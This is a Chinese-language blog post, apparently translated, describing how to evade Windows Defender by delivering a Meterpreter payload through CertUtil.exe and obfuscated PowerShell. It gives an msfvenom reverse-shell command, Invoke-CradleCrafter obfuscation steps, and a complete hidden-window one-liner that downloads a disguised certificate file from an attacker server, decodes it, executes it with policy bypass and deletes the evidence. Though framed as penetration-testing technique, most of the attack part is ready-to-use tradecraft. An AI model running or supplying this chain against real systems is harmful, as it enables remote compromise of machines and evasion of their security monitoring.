看我如何使用CertUtil.exe进行内存注入攻击

阅读量    59099 | 评论 2   稿费 180

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

写在前面的话

你有没有听过那句老话:“生命中唯一不变的就是改变?”在渗透测试和信息安全领域,也是如此。新的防守总是不断涌现。最近我正忙于内部事务,另一项工作也在进行中,这时我发现微软升级了Windows Defender,它几乎出现在我们最近遇到的每一个微软操作系统上。我感到有点绝望。几年来,我使用带有Invoke-Shellcode的PowerShell来轻松地控制shell,但现在这些方法都凉了。

但并不是彻底凉了。最近我一直在做一些研究和准备,我将在今年晚些时候在Black Hat上介绍代码注入技术。我阅读了Microsoft有关Certutil.exe与PowerShell一起在多个博客网站上执行内存注入的文章。最后,我将推荐Daniel Bohannon编写的PowerShell模块Invoke-CradleCrafter。由于我已经使用了Invoke-Obfuscation,所以向Invoke-CradleCrafter的过渡非常轻松。

在这篇博客文章中,我将讨论使用PowerShellInvoke-CradleCrafterMicrosoft的Certutil.exe来制作payload和可用于逃避最新版本的Windows Defender(截至撰写本文时)的单行程序的步骤,以及作为不被入侵检测系统和行为分析所捕获的技巧。毕竟,PowerShell仍然是最简单和最好的方法之一,但与此同时,它也在出卖你,因为它一运行就与AMSI进行交流,这使得事情有点具有挑战性。

开始

设置要求: Linux,Metasploit,Invoke-CradleCrafter,PowerShell for Linux和Windows 10.
安装PowerShell for LinuxMetasploit

我会告诉你我更喜欢在Linux上运行PowerShell,所以Defender不会出问题。从GitHub下载Invoke-CradleCrafter

接下来,我们将通过执行以下操作来创建base64编码的PowerShell Meterpreter payload:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<YOUR IP HERE> LPORT=443 -e cmd/powershell_base64 -f psh -o load.txt

请注意,只要certutil可以获取并读取其内容,有效内容文件的扩展名就可以是任何内容。例如,一个组织可能有一个不允许下载脚本的策略(或IDS,内容过滤器等),但它们可能允许.txt文件或甚至其他异常扩展的文件。如果你要改变它,只要确保你在Invoke-CradleCrafter(见下文)中设置URL时补偿了这一点。

接下来,您将创建一个用于提供Web内容的文件夹。在这个例子中,我们将调用我们的文件夹payload将PowerShell Meterpreter PowerShell脚本放置在此文件夹内。

接下来,我们将使用Invoke-CradleCrafter来混淆我们的certutil和PowerShell命令,这些命令将用于绕过Defender执行内存中注入。

通过输入pwsh或PowerShell,进入Linux主机的PowerShell提示。进入Invoke-CradleCrafter目录并运行以下命令:
Import-Module .Invoke-CradleCrafter.psd1; Invoke-CradleCrafter
在提示符下键入: SET URL http(s)://<YOUR IP>/load.txt,或者您可以使用其他扩展名等。


下一步输入MEMORY然后CERTUTIL

 

接下来,您将看到您的混淆选项。我通常选择全部,然后输入1

获得结果后,将其放在Windows机器上的一个名为raw.txt的文件中。你可以使用certutil对这个文件进行base64编码,并创建名为cert.cer的文件并将其放置在Web服务器上。然后,我们将构建一个将被远程调用的单行程序,用于将该文件下载并在目标上执行。一旦执行,它将调用我们的paylaod load.txt并通过PowerShell注入Meterpreter到内存中。

使用certutil来编码raw.txt文件:


看起来像一个真正的证书,不是吗?


将您的cert.cer放在您要提供内容的paylaod目录中,然后,我们将构建我们的单行程序,它可以放在批处理文件中,或者使用命令行比如CrackMapExec等强大的工具来执行。

One-liner:

powershell.exe -Win hiddeN -Exec ByPasS add-content -path %APPDATA%cert.cer (New-Object Net.WebClient).DownloadString('http://YOUR IP HERE/cert.cer'); certutil -decode %APPDATA%cert.cer %APPDATA%stage.ps1 & start /b cmd /c powershell.exe -Exec Bypass -NoExit -File %APPDATA%stage.ps1 & start /b cmd /c del %APPDATA%cert.cer

一旦你设置好了所有的东西,并且你的web服务器启动了内容服务的地方,你可以运行上面的命令,你应该得到一个Meterpreter shell:

您的网络服务器应该获得2次点击:

Defender被成功绕过并建立了一个Meterpreter会话:


请注意,要使此攻击成功,需要手动删除执行的Meterpreter PowerShell脚本。cert.cer文件将自动被删除,但您需要在Meterpreter会话中删除stage.ps1通过以下操作:

另外请注意,您也可以从您可能通过其他方式获得的命令shell中下载到PowerShell,并复制stage.ps1文件的内容以直接执行您的有效内容,如下所示:

最后的教导

最后,我想起了改变是多么的美好。强迫你去研究和尝试新技术,这种变化不仅可以帮助你成长为优秀渗透测试者,还可以帮助你成为更好的顾问并教育顾客如何更好地装备并调整他们的防御以检测这些高级攻击。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多